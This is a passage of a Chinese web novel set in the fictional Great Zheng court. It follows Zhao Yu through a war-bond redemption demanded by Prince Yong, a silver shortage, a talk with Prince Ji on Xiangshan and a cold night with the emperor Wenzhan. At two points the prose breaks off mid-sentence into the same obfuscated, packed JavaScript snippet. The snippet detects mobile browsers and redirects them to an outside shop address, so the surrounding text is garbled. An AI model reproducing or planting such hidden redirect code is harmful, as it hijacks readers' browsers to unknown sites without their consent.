但是赵毓不同。他说这句话的时候,声音平稳,带着哀伤。 底色却是庄重。 没有轻佻,也不自辱。 赵毓安静的说话,“怎么,很意外吗?大长老,你们钻山打洞一般探知我的事情,却没有把这么重要的消息打听出来?” “加茉她,……” “我爱过一个高昌女子,不表示我会喜爱所有高昌女子。再说,……,我有喜爱的人,他,……” 大长老知道加茉对眼前这个人有着如同圣山的冰雪一般的情感,却极度绝望。 虽然从来没有询问过,但是加茉一直以为元承同郑人男子一样,将高昌女子轻贱如烂泥灰尘。 如果,她知道元承并不像普通郑人那般,那么加茉,…… 不! 加茉根本没有机会! 赵毓提到他有喜爱之人时候的声音虽然平淡到近似冻土的地步,但是,以拉摩提几乎走过一生的经历却在赵毓嗓音中听到一丝柔和,虽然转瞬即逝,却有着融化冰川的暖意。 “那名女子呢?” “大长老,这是我的死穴,我就不告诉你了。”赵毓笑着,“等有朝一日,你活蹦乱跳的回到敦煌,自己去找答案吧。” 说完,赵毓看了黄枞菖一眼。 他微微一点头。 黄枞菖同梁十一找人去按照赵毓的吩咐为拉摩提准备热水,衣服和食物。 大长老却知道,这名未知姓名的高昌女子已经不再对赵毓构成任何威胁了。 赵毓之所以这样说,不过是想要增加自己手中的“权”。 这样,可以使赵毓在这场性命对决中多一些胜算,也同时增加拉摩提活下去的决心,以他的活命来换取赵毓内弟尹徵的安全与性命。 诏狱这里关押的多是重臣,热水衣服与食物并不难找。 赵毓看着那些差役捧着木桶与托盘进去,他则走出来。 外面,黄枞菖正在同梁十一说着什么。梁十一的脸色说不出来的奇怪,不过,最后他还是艰难的叹了一口气。 赵毓过去,“怎么了?” 黄枞菖,“圣上的密旨,奖赏老梁黄金五百两,同时,惩他承受四十军棍的责罚。” 闻言,赵毓看了梁十一一眼。 有些事情,不必要说清楚明白,梁十一自然知道自己的黄金与责罚是怎么来的。 奖赏,榭芝阁的肃清与高昌大长老拉摩提的囚禁。 责罚,……,必定是差点误伤眼前之人。 赵毓。 元承。 …… 祈王承怡。 执掌天下密档的缇骑指挥使梁十一却从来没有见过眼前这个人的密档。 元熙朝,祈王是禁忌。 除了当年同他有过交情的一些人的回忆,还有民间那些或多或少不太靠谱流言之外,承怡已经在故纸堆中,严丝合缝的销声匿迹了。 梁十一原本以为,祈王同凤化朝那些死于非命的皇子们一样,都是权力的牺牲。 现在看来,他错了,错的离谱。 赵毓只看了他一眼就问黄枞菖,“圣上说过,什么时候打老梁的屁股了吗?” 梁十一,“……” 黄枞菖认真的摇头,“没有。” 赵毓,“那就先给老梁留两个完整的屁股蛋子。最近事儿太多,等过一阵子,忙完了,要是圣上没忘,那你找人打他个屁股开花就好了。那个时候老梁也正好回家歇歇,同时也养养伤。” 黄枞菖,“好咧!老梁呀,我家祖宗说了,你那两个大好屁股蛋子先给你留着,等秋后算账再说。” 梁十一,“……” 雍京西城,西北道敦煌会馆。 萧呈让人将来人让进内院,并且同时吩咐点燃了牛油大蜡,照着屋子中犹如白昼。他看着这个人,心中没来由的咯噔了一下。 客人很年轻,弱冠之年,却是一派雍容。 他身上的衣服虽然是普通富贵人家的暗色织锦衣袍,但是身上的熏香却极名贵。 那是以沉木、金楠、檀木、龙涎打底,外引是金合欢与玫瑰。如果再仔细进一步的辨认,这个香气里面似乎还有冰髓,让人在诸香萦绕中感到一丝冷意。 其中三种配料是贡品,可以使用这种熏香的人,不是王公就是贵戚。 萧呈让人以甜白瓷的盖碗端了大红袍过来。 那人没碰茶水,也不寒暄,直接从袖中拿出来封的很严的信笺。同时,他拿出一把纤细的匕|首,小心将信笺打开,里面是一张西北道的债票。 永镇山川债,一百万两白银一张。 封存二十年,年息九厘。这种债票从盖印之日算起,十年之后可以取回。只是,如果债票如果不到二十年就赎回,那么年息就会降低,一年只有七厘的利。 萧呈看看这债票,封印是元熙三年,这样算来,今年刚好是第十一年,西北道可以赎回。 封存了十一年,十年的利息,一共要兑出一百九十六万七千两白银。 当年,赵毓为了筹措军饷借着西北道发了一些战争债票,大小面额都有。 西北边境的老百姓也买了一些,面额很小,利息也低,人家就当挣个买菜买粮和闺女的嫁妆首饰钱。说实话,筹军饷就要依靠大户,不然,就他们那些鸡零狗碎的散碎银两,就算赵毓给的利息再高,也给儿子挣不出三间大瓦房来。但是赵毓不这样认为,他觉得蚊子腿上的肉也是肉,集腋成裘,军饷能多一些就多一些。再说,边境上的百姓,长年饱受战乱之苦,有一些补偿,甚至是能多一些就多一些,总是好的。 这么多年过去了,小面额的债票已经陆陆续续的兑完。 目前还有几张大面额的债票在一些人手中,具体是谁,萧呈知道赵毓心中有数。 雍京几家王侯那边有几张锦绣天下债,五十万两一张,封存十年,每年五厘的利。 两淮盐商手中也是锦绣天下债。 十三行周熙手中有一张永镇山川债,那个便宜一些,封存十五年,每年七厘的利。 这些,萧呈都知道。 可是他没想到,唯独眼前这个年轻人的永镇山川债是二十年的封存期。 他不敢怠慢。 “这位公子,您的债票我们西北道认,请问,您是想要哪个钱庄票号的银票?” 那个人轻笑着说,“我要现银。” 雍京官话。 毫无杂音,犹如剔透的白琉璃! 萧呈听着,心中一沉,还没说话,那个人又说,“如果萧先生无法做主,我就再等等。您找那个能做主的人过来和我说话。” 萧呈一听就明白是怎么会事。 他让儿子萧则进来,在他耳边低声说,“去请赵毓。” 萧则看着眼前这位衣着华贵的年轻人,手指捻着白瓷的盖碗,姿势娴熟的拨弄茶水。 这个人有双鸦翅一般的眉,黑却秀致,面容俊美,在如同白昼的烛火面前就像是另外一盏明灯! 他像极了当时代替赵毓与自己比剑的人。 只是。 他带着娇憨,带着温度,同时也带着危险,相似却与当时那个人迥然不同。 那人让萧则想到了自己曾经遥望过的慕士塔格峰。 ——昆仑的西端,令人有崇山峻岭般的压力,雷霆万钧,却冰冷宁静。 那人,是谁? 眼前这人同他如此相似。 那么,此人,又是谁? 雍京开始下雨。 萧则去赵毓家中的时候,他人不在。他说西北道有重要事情,看门的赵大爷马上去了宁淮侯府,崔家的管家一听,立刻亲自去诏狱寻人去了。 萧则在兰叶巷赵宅中等了大约半个时辰。 他吃了烧火的赵大妈给他烙的三口大饼,卷了五根摊鸡蛋切开的丝,喝了六盅清水。 赵毓这才回来。 他们一同骑马回敦煌会馆。 下马,进门。 萧则从来没有见过赵毓这个样子,头发一半束起来,另外一半披散着,而束发用的则是一块雕琢精心的玉扣。 那是,——红莲? 萧则只是隐约听说过有这样一种莲花。 它同读书人极度推崇的那种“出淤泥而不染,濯清涟而不妖”的清白莲花不一样。 红莲颜色凝重,形态放纵,蔓藤缠绕,有一种似乎要扼住看客的咽喉一般的力量,却显得恣意妖娆。 它异常名贵,却不是价高者得。 据说。 红莲只生长在大正宫的太液池中。 赵毓单手撑着一把油纸伞,身上的衣袍被淋湿了后面的衣襟,颜色重了许多,并且在掌灯之前的天色中显现出一种繁复的暗金色花纹。这是一种很古老的吉祥纹,只有姑苏最上等的缂丝师傅才能织成这样古朴又华贵的纹路。 换了。 不同以往。 平时赵毓身上是洗的发白的布衫。 萧则不是没见过赵毓穿过好衣服。当年在西疆,冰天雪地,冷风如刀。赵毓身上是轻甲外罩白貂皮的大氅,胯|下黑色匈奴战马,塞外的狂风卷起他的头发,就像是宣纸上凝住的恣意泼墨,发疯一般的蔓延出写意画作的人物。 却不像现在。 此时的赵毓就如同那些天生锦衣玉食的王公,带着颓废与华贵。 内厅的贵客已经等了很久,似乎并没有不耐烦。 他同萧呈并不说话。 室内一切照旧,只是蜡烛烧了一多半了。 赵毓进去,他看见椅子上端坐的客人,并不说话,只是将伞收了起来。 萧则轻声说,“赵叔,这位是贵客,他手中是本应封存二十年的永镇山川。年头未足,却可以兑,他想要现银。” 萧则说完,本来以为赵毓应该热情一些,因为他似乎应该同这位客人应该认识。这位年轻客人的相貌与赵毓的“朋友”如此相似,可是,赵毓看见来人却似乎没有多余的反应,仅仅是微微点了一下头,算是招呼。 “二十年的永镇山川?”赵毓低声说,“这个,不应该在你手中。” “怎么。”那人将手中的白瓷盖碗放好,“西北道萧老大说话不算数?方才,他说过,这封债票,西北道认账。” “认账。”赵毓却说,“我只是有些意外。这封债票的原主人没残没死,不知道为什么会出手。” 那人轻笑,“缺钱。” 赵毓又说,“这是二十年的债票,原本利息是每年九厘,如果年头足的话,十年后,你能拿到五百六十万四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728911|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千两白银。如果今天就兑了它,那么利息只能按每年七厘算,到今天,你只能拿走一百九十六万七千两白银。你要兑吗?” 那人点头,“兑。” 赵毓点头,让客人讲债票拿出来,同时让萧则出去拿了盆,热水,醋,还有一种显影粉过来。随后,他把热水、醋、显影粉放在盆中,再将那封印着大郑嘉峪关外边境到戈壁图案的债票按在热水中。 静候了一炷香的时间。 赵毓两根手指拿着债票从盆中取出,那封债票已经褪去了图案,只显出金色的一行小字: 永镇山川,一百万两整。 落款:大郑元熙三年正月初三,赵。 “现银?”赵毓,“按照江湖规矩,你要等三天。” 不知道是不是淋了雨,赵毓的脸色有些惨白,却显得他眼角的红痣更扎眼。 “好。”客人动作如行云流水一般,端起来重新换的热茶,抿了一口,算是端茶辞行。 那人离开之后,西北道老大萧呈才说,“我们没有那么多现银。” 赵毓,“我知道。这封永镇山川原本不应该这么早出现,没有准备是应当的。西北道还有多少现银?” 萧呈,“满打满算,五百两。” 赵毓,“……” 萧呈,“原本倒是有几十万两,只是昨天十三行的周熙亲自登门,拆借银根。随侯世子石慎手中有十三行的银票,他也要兑换现银,而且就在今天要。周熙拿走西北道现银做个过桥债,日息四毫,用六天。同时,十三行的白银正在路上,从运河过来,预计今天傍晚到卢沟晓月,弃船登陆,一夜行驶,明天早上雍京南门一开,他们就能进城。到时候,十三行的白银可以还账,也可以给我们做个过桥债。我们有一笔货款六天后到,正好可以平了十三行的账。” 赵毓听着不说话。 他的手指在椅子扶手上敲了两下。 此时,侍女端来热水,他晚上不喝茶,怕睡不安稳。 “不对。”赵毓忽然说,“萧老大,你派人到卢沟桥的码头上等着,今天就去,谁也别惊动,尤其是不要惊动十三行的人,他们估计也有人在码头。西北道的人就在那边看着,不要问十三行的银船,而是问一句,永嘉的货船什么时候到,所有的货船都可以问问。如果别人询问,就说我们从南方订了两船枇杷,果品嘛,容易坏,着急询问一下不会引人注意的。” 萧呈点头,吩咐下人去做。 赵毓喝完了热水,让萧则拿过油纸伞,随后对他说,“上次在绮镇我忘记说一句,以后西北道的事情你不要管。你现在既然跟着定国公裴檀,那你就是官面上的人,这些人搏的是个前程,拼的是个出身。江湖道,风高浪急,对你不好。你现在是五品游击,再上一步就是四品参将,可以世袭,这才是真正的前途。西北道的路很宽,但是走的是我们这群没有功名的庶民,不是你。” “可是,……”萧则想要辩解。 萧呈则在一旁点头,“这次是我料想不周全。只是,这次的事情有些蹊跷,让我儿子去找你,想着稳妥一些。” “以后你儿子的前途最重,再蹊跷的事情,也不能把萧则卷进来。”赵毓的脸色还是惨白,即使喝了热水也没有缓过来。 “怎么?”萧呈听出一些不对劲。 “没什么。”赵毓只是摇头。 “我们,……”萧呈想了一下,“这次要栽?” 赵毓又摇头,“别想那么多,明天一早,只要我们看见十三行的银车进雍京,一切不就安稳了吗?” “如果,看不到呢?” 赵毓撑起来伞,屋檐外的雨像瓢泼一般,“看不到,再说看不到,现在不是还没到那个时候呢吗?” 雍京北城,兰叶巷。 赵毓在自己宅门前下马,赵大叔把缰绳拿走,独留他一个人撑伞站在门前。 他眼前站着方才在西北道要兑现银的那位年轻人。 “方才有外人在,不好说话。”那人笑着说,“兄长,多年未见,别来无恙。” 此时,起了风。赵毓的衣袍已经湿的差不多了,夏末的夜风一吹,竟然有些穿透一般的冷意。他的脸色如同被冷水洗刷了很多次的鱼肚,白的有些青色。 那人见赵毓不说话,又笑,“怎么,不请我进去喝口茶?” “贵人不踏贱地。”赵毓,“不好请您进门的,雍王殿下。” “雍—王—殿—下?”越筝一字一字的品,“我忽然有些明白当年六哥对你喊打喊杀,被你气到吐血时候的心情了。兄长,你真不适合养狗,平时连喂块骨头都欠奉,想来当真养不活。” 赵毓没有说话,只是撑着油纸伞的手指青筋暴起。 “小王来只想要问兄长一句话。”越筝,“那年圣上遇刺,如果当时,……” “不会。”赵毓说。 “兄长连小王的话都没有听完,……” “不用听完。”赵毓,“殿下做不了太子。” 越筝,“因为我并非六哥子息,所以不是大郑王朝的正统吗?” “不是。” “哦?” 赵毓,“所谓正统,不过是那些读书人把僵化的道学栽赃到儒学身上的一种伎俩,这就如同礼部的那些规则,他们规定了圣上什么时候上朝,什么时候烧香,什么时候念经。一切不过是将皇帝变成木雕傀儡一般的手段而已,不值一提。大郑开国一千两百年,兄终弟及并非异类。” 雨水越发恣意。 越筝,“兄长说话,真出乎意料呢。” 赵毓,“殿下请回吧。” 越筝,“不行,怡哥哥,今天这话不问清楚,我不走。我是作为储君长大的,毓正宫的书,我读到的同圣上没有不同。我只想知道,究竟是什么原因让怡哥哥放弃了我。” 赵毓,“我没有放弃你。” 越筝,“那怡哥哥为什么认定灵均是太子?” 这么多年过去了,当年那个肥鸭一般娇憨的少年成为雍王,他同文湛有六七分的相似,却迥然不同。 良久,赵毓轻语,“你,……,同文湛的年龄只相差十岁,太近了,……” 自古如此。 帝王与储君,极致权力的现在与未来,天生就是搏杀的两端。 十二道白玉珠的旒冠太重了,带着刀锋,距离它越近,越容易被凌迟到面目全非。 一瞬间,狂风骤起。 越筝还在笑,却带着冷意,“果然是这样。承怡,你负尽天下人,唯独不负六哥。” 54. 54 54 吉王府夜里有客人。 世子安沣亲自到了花厅,看见客人正在吃茶。 这位客人是旧相识,只是当时不怎么熟悉。那些年,世子的父亲吉王带着这位客人征歌逐酒,眠花宿柳,却对自己的世子格外严苛,功课督导的相当用心。那个时候世子还小,不懂事,总是觉得自己似乎不是亲生的,而他的父王对他很不好,到像是对眼前这位好的不得了,现在看来,当时他的父亲可算得上是真正用心良苦。 只是,…… 再次看到眼前这个人,世子觉得自己读过的那些书,似乎依然没有太大的用处。 赵毓拎着一条鱼和一盒子葡萄过来。他晚上不喝茶,只是拿着盖碗的盖子撇着茶叶沫子,一下,一下,再一下。 “世子。”赵毓看见安沣过来,连忙起身,“入夜打扰贵府,真是不好意思。” 安沣抬手,算是还礼,随后请赵毓坐下,他自己陪着坐在一旁。 他想要用旧称呼“殿下”来开口,幸好,他活生生的忍住了,只是说,“赵先生,您来的不凑巧。我父王去了北苑温泉,预计四、五天后方才回来。” 赵毓,“吉王爷就在府邸,我派人盯了一晚上,他没出门。” 安沣倒是没想到赵毓有话直接说,他有些尴尬。 而赵毓却说,“我知道吉王爷不想看见我,只是,……,还是烦劳世子一趟,这次您就对令尊说,我过来是登门道歉的。我长年在外,无法管教幼弟,致使他长大之后性格乖张,竟然对吉王爷手中的永镇山川巧取豪夺,实在是不对。如果王爷有什么想法,请一定直白对我说,我必定尽心尽力补偿。世子,这次的事情是我们的纷争牵扯到老王爷身上,让我负荆请罪也好,但请老王爷见我一面。” 安沣看着赵毓,他自然知道赵毓口中的“幼弟”指的是谁,说的必然是那位不可一世的雍王越筝。他对于赵毓的事情大约知道一些,但是他父亲从来没有将话语全部挑明,这就说明,这些事情不应该他明白,所以,他就必须要糊涂。 “好吧,赵先生请安坐,我去去就来。” 大约一盏茶的光景,安沣回到花厅,说,“赵先生,我父王请您回去。” 赵毓想要开口,安沣又说,“他邀您明天一早登香山。” 卢沟晓月,雍京八景之一。 雨中。 永定河起了雾,在桥边可以看见雍京的雉堞若隐若现,而西山的影子就隐藏在入夜的薄雾中。 这里石碑林立。 凌烟阁上诸代名臣许多都在卢沟晓月上留下旷世墨宝。 这到不是说卢沟晓月这个著名的雍京八景之一的地方美艳绝伦到令诸多名臣们神魂颠倒,而是这里是从南方进雍京的必经之地。 那些名臣们大多是文章锦绣的江南人,第一次在卢沟晓月驻足必定是进京会试的第一夜,这个时候,即使是晓风残月,也是文思如泉涌。 有着必登龙虎榜的雄心,也有初到京师的忐忑,还有的,估计就是思绪万千之后的故作淡泊的诗情画意了。 此时,卢沟桥旁果然有两个士子正在仔细诵读四百年前名相李翮的《雍京赋》。 萧则却没有这个心情。 虽然赵毓一再吩咐不让他卷进来,但是他父亲就是西北道,只要他还姓萧,对于这件事,他终究无法置身事外。 他身上穿着短衫,像个伙计一般,一直在码头上看着。 那边芦苇边有个茶棚,一盏气死风灯在雨中飘摇。 几位十三行的伙计喝口热茶,暖了暖身子,转而立刻到河水边缘,焦急的等着消息。 大约将到子夜,一艘小船靠岸,跳上岸来一个人,看装扮就是十三行的人。 他们在说着什么。 全是永嘉话,萧则听不明白,不过他花钱雇了一个懂吴语的小厮在旁边。那个小厮很激灵,装作在码头帮助栓住铁锚的雇工。 十三行那几位伙计只说了要紧的几句话,纷纷上马,赶忙向雍京的方向飞驰而去。 萧则问那个小厮,“听清楚了?” 说完,给了足够的铜钱。 “全听明白了。”小厮接过铜钱,赶紧说,“这位老爷,您也别等了,从江南永嘉向北走的商船全部被拦在山东境内,不让进直隶。他们那几位方才说的就是这事,那个从小船上过来的小伙计就是随船的掌舵,他是离船乘小舟来雍京报信的。船都被拦在临清,就算现在立即放行,没个七、八天绝对到不了雍京城。” 赵毓回到禁宫的时候,文湛还没有睡。 今晚伺候的人是黄枞菖。他帮赵毓撩起来袖子,让赵毓洗脸。 “祖宗,那个大长老吃饱了就一直睡,我估摸着,他要醒,怎么也得到明天傍晚了。那老头儿都多大年纪了,好好的日子不过,从老家跑到雍京城来捣乱!真是好日子过腻了,非得换个活法,不但累着自己,还连累别人,何苦来哉?” 赵毓拿着青盐漱口。 黄枞菖又说,“祖宗,你说,那个老头儿能老老实实的把尹家大少爷换回来吗?” 赵毓吐了水,摇头,“不知道。” 黄枞菖,“要是换不回来,咱能把那个老头儿剁了吗?” 赵毓,“剁吧。” 黄枞菖到没想到赵毓回答的如此干脆。 “祖宗,我怎么看你这个脸色不对。”黄枞菖说着,抬手在赵毓额头按了按,“是不是刚才淋了雨,晚上要发热?” 文湛就在一旁,看了他们两个一眼,黄枞菖连忙把手掌拿开。 文湛的手心在赵毓额头上探了探,——像冻住了一般,冰冷冰冷的。 赵毓,“没事儿,我又不是纸糊的。” 夜里,赵毓不但像块冰,还像根沉在水底多年的木头,无论怎么点火,根本烧不起来。 虽然他自己的动作也很热烈,可是就是不成。 平时,氛围好的时候,只要稍微几下撩拨,他就像炼好的石脂水一样,不把他们两个烧成灰烬誓不罢休,可是现在,…… 文湛一把推开赵毓,“没兴致?” 赵毓不说话,只是看着他,那双眼睛在帷幕挡住的琉璃灯光下黑洞洞的。 文湛起身,让人端过来冷水,将自己蓬勃的情绪一点一点安抚下去。 等他回到床榻上,看见赵毓已经将褪下的湖丝睡袍重新穿好,后背对着外面,安静的呼吸着,像是已经睡着了。 文湛的手指按了一下他的肩膀,赵毓转身,睁开眼睛看着他。——眼神有些复杂,像是禁宫中那些台阶上滋生的苔藓。 “一直下雨,夜里冷,给你加层被子。” 盖了两层被子,赵毓倒是真睡着了。他睡熟之后很安静,却总是无意识般的向床榻里面挪,空出来一些位置,也许是他不喜欢卧榻之旁有他人安睡,或者是多年在外,他还不习惯与人同床共枕。 这个姿势就同文湛不一样。 无论有意或者无意,尤其是无意的时候,文湛的身体总是向着赵毓。 文湛知道,对于他们之间的感情,他出自本|能;而赵毓,则是压制住了本性。 香山。 民间称为“杏花山”,每年初春,十万株杏花遍布万壑千崖,而秋天,则是漫山浸染的红叶。 这些天多雨,赵毓来的早,他在山脚下马,抬头望,峰岩叠翠,云雾萦绕,那座号称“鬼见愁”的主峰如同一个香炉一样,立在雍京西端。 赵毓从小就懒,很少爬香山,不过他倒是不止一次在大郑堪舆图上看到这个名字。 大郑疆域辽阔,却是西高东低。 先帝不止一次拿着堪舆图教导他,——“大郑第一道关是嘉峪关,第二道是娘子关,第三道就是雍京西端。倘若有兵灾,山河玻碎,到了非丢城弃地保存兵力不可的地步,江南可弃,中原可弃,只要重兵守住这三道关口,大郑依然可以东山再起、收复河山。” “心肝儿!来这么早?” 吉王爷到了。 他也是轻车简从。 赵毓连忙过去,一躬到地,“吉王爷,我,……” 吉王拦住他,“行了,什么都别说了,先爬山吧。” “我真不知道吉王爷还有这个雅兴。”赵毓跟过去,说,“想来您时时过来爬香山,也喜爱这里的初春杏花,凉秋红叶?” “我也很久没来了。”吉王笑的像个剥了皮的核桃,“上次爬香山,还是同你父皇一起来的。说起来,也有快十年了吧。” “……” 赵毓早就改了口,不再称呼先帝为“父皇”。 只是,昨天夜里他刚到吉王府认了雍王越筝是“幼弟”,现在实在没脸再反驳。 山路崎岖。 吉王年纪大了,这些年酒色财气半掏空了身子,平时走路都是一步三颤,此时让他从山脚一直上到鬼见愁,实在太难为人了。 所以,他们也就走了三十几个长青石台阶,吉王府邸的小厮扛着滑竿过来,抬着吉王像抬着半扇猪肉一般,硬生生抬到了山顶。 香山顶上,这两个人喘着气看着山下。 一层一层的山脉,一层一层的树,都隐藏在轻薄的白色雨雾中。 “吉王爷,这次的事情,真的是我,……” “行了,别说了。”吉王一摆手,“越筝手里有我老婆娘家的把柄。他开了口,我肯定不能反驳。说到底,这事根本不怪你。” 赵毓却说,“当年我在西北筹军饷,求告无门,第一封永镇山川就是您买的。您也不知道那是我要筹军饷,但是您还是出手了,这份情,我说什么也要还的。要不这么着,您的那份利钱还继续算着,等到了十年后,我再补给您。” 吉王笑了笑,三层下巴的肉都颤了颤,“心肝儿,你让我说你什么好。说你笨吧,你一直都挺通透的,说你聪明吧,你蠢的离谱。我要是不知道是你借着西北道筹军饷,我怎么可能出手一百万两白银?你当我这家底都是大风刮来的?” 赵毓,“……” 吉王,“行了,这事儿过去就过去了,别想了。这十年,我在你这里挣了几十万两,我特别知足。我现在年俸五万八,比你当年还多,圣上时常不断再赏点什么,这十年也就挣了六十万两,比你给我的还少。所以呀,我知足,真的!” 赵毓也笑,“既然王爷不恼我,那么,……” 吉王,“刚说你蠢,你就开始算计我。得了,我知道你想要从我手中淘换银子,不给!” 赵毓,“我不白要,利钱银子加三倍!” 吉王,“心肝儿,我老了,让我过几天安生日子吧。我这辈子肯定饿不死了,我儿子也册封了世子,他要是没有大灾,这辈子过的也挺好,就这样吧。那么多银子,生不带来死不带去,没用,真没用。” 赵毓,“您要是不想给我银子,还让我过来爬山干嘛。我这呼哧乱喘的,差点断气。” 吉王极其认真的看了看他,这才说,“你父皇当年让我带着你玩,其实是想要让你远离那些纷争。天家骨肉生来精贵,活成一个纨绔不丢人,最丢人的就是在波谲云诡的权力角逐中败下阵,把天生的王爵给丢了。哎,你别多心,我不是说你丢人,你这也是没法子,谁让先帝不是你亲爹!不过呢,我实话实说,你也没活明白。” 吉王,“孽缘,天生的孽缘,没法子,真没法子。” 赵毓,“啥?” 吉王,“你那个表哥的腿,是圣上找人接上的。” 文湛,…… 赵毓没说话。 吉王,“当年崔珩不是断腿了吗,本来这辈子就跟官场无缘了,可是圣上还是遍访天下,寻来了名医给他接骨,就是想要他出仕。你当年就在西北前线,虽然说有尹家维护,但是尹明扬到底只是疆臣,雍京兵部不能没有全心全意维护你的人,所以,圣上硬生生把崔珩给扶起来了。说实话,圣上待你是真心诚,那些人说你们两个翻脸,我就觉得可笑。” 文湛! 赵毓倚着一株枫树,手指开始扣树皮。 吉王,“其兴也勃焉;其亡也忽焉。” 赵毓,“王爷跟我背书?” 吉王,“这是你对你父皇说过的话。当年你走后,我同你父皇爬香山,就在这个地方,就在这棵树下,他告诉我的。” 当年,…… 赵毓是罪人。 当年,他在西苑,逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728912|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先帝退位,禅位文湛。 也许越筝说的对,他负先帝,负母亲,负越筝,负崔珩,负楚蔷生,甚至连他的妻同他也没有平安喜乐,他负尽身边所有人,也仅仅是没有辜负文湛的帝座,而不是他这个人。 …… 赵毓跪着爬了两步。 “皇上!难道真要把太子逼到弑君夺位,谋朝篡位这一步,您才甘心吗? 忠臣自古出逆子。 他做太子,上可对皇天后土、列祖列宗,下可对亿兆黎民。他的肩上担的起祖宗的千年基业,苍生福祉,担的起九州万方! 如今,整个天下早已经谣言四起,说太子谋国不正。不止宁王,就连各地手握兵权的亲王,藩镇也借着这个由头蠢蠢欲动,想要图谋不轨。 也许太子最终还是会平定八荒,可是,战事一起,狼烟所到,涂炭生灵。 《左传》载,臧文仲曰:“宋其兴乎!汤、禹罪己,其兴也勃焉;桀、纣罪人,其亡也忽焉。 兴亡盛衰只在弹指之间。 皇上!天子一怒,流血漂橹,不可因为一己私念,将天下弃之不顾。” …… 吉王,“你父皇说你是个极度自制的人。这点我倒是认同。说到底,你也做不了我这样的纨绔,我豁的出去,你不成。最后,你不上不下的,就活成了现在这个别扭样。” 赵毓揉了揉脸蛋,“王爷不给我银子,还把我拎到香山顶上教训一顿,我命苦。” 吉王嗤笑,“你有跟我贫嘴的这个劲头,怎么就没胆子直接对上雍王?我们惹不起先帝七殿下,可是你不一样,拿出你做长兄的气势来!退一万步说,你不成,不是还有圣上吗?” 赵毓,“圣上的事,王爷知道多少?” 吉王却王顾左右而言他,“古帝王享年不永,书生每致讥评。不知天下事烦,不胜其劳虑也。人臣可仕则仕,可止则止,年老致仕而归,犹得抱子弄孙,优游自适。帝王仔肩无可旁委,舜殁苍梧,禹殂会稽,不遑宁处,终鲜止息。洪范五福,终于考终命,以寿考之难得也。易遯六爻,不及君主,人君无退藏之地也。岂当与臣民较安逸哉!” 赵毓,“……” 吉王,“这是你父皇重病之时说的。大郑开国一千两百年,到今上为止,一共四十八代君主。你父皇驾崩之时不过五十一,刚刚过知天命的年纪,却已经如同枯槁。但是,先帝并不算福薄寿浅,多代君主连这个年纪都活不过。承怡,走上了这条路,就是一条不归路。当年你父皇在这里,让我以后见到你的时候记得让我问问你,怕吗?” 很久。 赵毓才说,“我不是承怡,这是先大皇子的名字。” 吉王有些奇怪,“怎么,圣上没同你说过?” 赵毓,“什么?” 吉王,“承怡就是你的名字。当年那个替你死去的大皇子不叫承怡,他另外有名字。先帝带着他一起葬进万年吉壤,写了牌位,他叫宣慈。” 宣慈? 赵毓默念了这两个字,不知道是什么味道,只是觉得陌生,极其的陌生。 吉王,“怡乐安康,你父皇就对你有这么点念想,你不成。那么就换另外一条路,大大方方的,人挡杀人,佛挡杀佛。世间没有两全法,有些时候,拿出霹雳手段,方才显得菩萨心肠。优柔寡断,各方都要个齐全,不会是个好结果。” 赵毓看着吉王,“既然您都这么说了,那我今天就犯浑。我现在有个坎,就需要银子,您必须给。” 吉王,“我真是挖坑自己埋自己!” 赵毓,“您有什么要求,提!” 吉王,“我要你绮镇的土地,给吗?” 赵毓摇头,“不给。” 吉王,“我就纳闷了,你手中明明有好东西,怎么就不出手?只要羡云飞一出手,你什么难题都解决了。” 赵毓,“这块土地绝对不能在王侯手中。” 吉王,“为什么?” 赵毓,“绮镇给了您、越筝,甚至是崔珩,其实和这块土地在随侯手中一样。” 吉王,“怎么说?” 赵毓,“你们都不纳税。” 吉王,“当今天子富有四海,不缺这么一点土地。” 赵毓却反问,“王爷,这地里的粮食不值怎么钱,怎么你们放着大好的白银不要,眼睛只盯着土地呢?” 吉王,“你这真是站着说话不腰疼。我们这样的皇族旁支,一代一代血缘薄了,离禁宫越来越远,如果不给子孙留下点基业傍身,难道以后真的要典妾活命吗?” 现在有些旁支皇族因为日子清贫,居然要典当姬妾给富户度日。而那些人也愿意租赁皇族姬妾,据说交|合之后会沾染龙气。 无稽之谈。 赵毓点头,“这么多年,列祖列宗南征北战就打下这么多疆域,占一点少一点。土地不是地瓜,种一根苗,收一堆,它就是万世基业。王爷,王侯们不能把土地都占了,总要给像我们这样的草民留点什么吧。” 吉王,“他们可以租地种。” 赵毓,“碰到个天灾水患的,地主东家再放个高利贷,这些小民百姓就成流|民了。” 吉王一见说不过赵毓,“成,你愿意怎样就怎样。反正这些事我也管不了。我现在只想着,真到了石家出事那一天,别牵连九族就好。” 赵毓只能看了看吉王,这种事,他没有资格保证什么。 吉王却说,“别哭丧着脸,这事跟你没关。承怡,你父皇说的对,你挺自制的,圣上也是,就是那位七殿下差点,有些贪。” 赵毓却想着,贪婪,那才是人的本性。 就如同看见佳肴美酒,繁花似锦、草长莺飞的乐土,难道不想去享受,不想去染|指,不想去占有吗? 皇位邪性。 只有手握至尊权力而不越雷池一步的人才有资格安稳的坐着。 其他人,会被它引发的贪婪逼疯。 只是。 克制,随时都克制,不也是一种煎熬吗? 先帝说过——帝王享年不永,人君无退藏之地。 他忽然想到了文湛。 心头狠狠一缩,他几乎有些站不住。 55. 55 55 